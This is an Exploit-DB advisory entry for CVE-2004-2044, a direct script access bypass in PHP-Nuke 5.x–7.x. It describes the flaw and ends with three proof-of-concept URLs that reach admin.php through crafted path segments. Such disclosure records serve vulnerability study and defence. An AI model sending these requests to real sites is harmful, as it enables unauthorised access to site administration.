PHP-Nuke 5.x/6.x/7.x Direct Script Access Security Bypass Vulnerability

2004-06-01T00:00:00
ID EDB-ID:24166
Type exploitdb
Reporter Squid
Modified 2004-06-01T00:00:00

Description

PHP-Nuke 5.x/6.x/7.x Direct Script Access Security Bypass Vulnerability. CVE-2004-2044. Webapps exploit for php platform

                                        
                                            source: http://www.securityfocus.com/bid/10447/info

PHP-Nuke is affected by a direct script access security vulnerability. This issue is due to a failure to properly validate the location and name of the file being accessed.

This issue will allow an attacker to gain access to sensitive scripts such as the 'admin.php' script. The attacker may be able to exploit this unauthorized access to carry out attacks against the affected application.

http://www.example.com/admin/case/case.adminfaq.php/admin.php?op=FaqCatGo
http://www.example.com/admin/admin.php/index.php
http://www.example.com/admin/modules/blocks.php/admin.php